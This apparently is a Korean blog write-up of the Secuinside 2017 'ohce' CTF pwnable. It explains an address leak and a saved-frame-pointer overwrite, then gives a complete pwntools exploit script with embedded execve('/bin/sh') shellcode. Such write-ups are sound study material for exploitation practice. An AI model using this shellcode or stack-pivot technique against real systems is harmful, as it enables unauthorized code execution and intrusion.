-
Secuinside 2017 ohcePwnable/CTF 2017. 7. 3. 00:28
syscall을 이용한 포너블문제들은 제대로 풀어본적이없어서 엄청나게 어려웟다 ㅠㅠㅠㅠ
WRITE함수를 syscall을 이용하여 출력을 시킨다.
read함수도 마찬가지
시작 메뉴는 이렇다.
1을 입력하면내가 누른 입력값 그대로 나오고, 2를 입력하면 거꾸로나온다.
이 문제에서 신기한점은 특정한 개수의 값을 입력하면 주소가 릭이된다. (96개를 입력했다 96말고 다른 개수로 넣어도 릭되는 숫자들이있음)
특정한 글자수를 맞춰서 Reverse를 잘 입력하면 맨 앞에 넣은 글자로 ebp가 변한다. (즉, eip도 변한다는 뜻)
그건 알겠는데 처음 echo를 했을때 "sfp-0x30"을 넣는 부분으로 eip가 바뀌는게 왜 저렇게되는건지 gdb로 디버깅을 해도 잘 모르겠다..
그냥 대충 문제상에서 저런거구나 생각하고 이해를하고 넘어갔다.
그 Core가 뜨게되면서 ebp가 변조되는 그 길이에 맞추고 릭을 한 스택주소 값을 계산하면서 그곳으로 eip를 변조시키면 풀리는문제였다.
1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *p=process("./ohce")#p=remote("13.124.134.94",8888)print p.recvuntil('> ')shell ="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"print len(shell)def echo(data):p.sendline("1")p.sendline(data)def Reverse(data):p.sendline("2")p.sendline(data)#print p.recvuntil('> ')def Leak():global sfppayload="A"*95 #95print "MY INPUT DATA !!!!!!!!!!!!!!!!"echo(payload)p.recvuntil('A'*95+'\n')sfp=u64(p.recv(6)+'\00\00')print p.recv(1024)return sfpsfp=Leak()print hex(sfp)SFP_2 = sfp - 0x140 #sfp-0x30 address +8#raw_input('$ ')payload="A"*56payload+=p64(sfp-0x30) #last data addresspayload+="A"*0x100echo(payload)raw_input('$ ')Reverse(p64(SFP_2)[0:6][::-1]+"ABCDE"+shell[::-1]+"\x90"*25)raw_input('$ ')p.interactive()cs 릭하고 다른 여러가지 잡 분석들은 다 혼자했는데 다른 마지막 공격부분, echo 중간 부분에 eip가 변조되는 그 부분을 몰라서 대회당시에는 풀지못했다.
syscall나오는 문제를 좀 많이 풀어야겠다.
'Pwnable > CTF' 카테고리의 다른 글
HITCON 2016 SleepyHolder (0) 2017.07.13 HITCON 2016 SecretHolder (0) 2017.07.11 Codegate 2016 floppy (0) 2017.06.10 DEFCON 2017 smashme (0) 2017.05.02 BKPCTF cookbook (0) 2017.03.31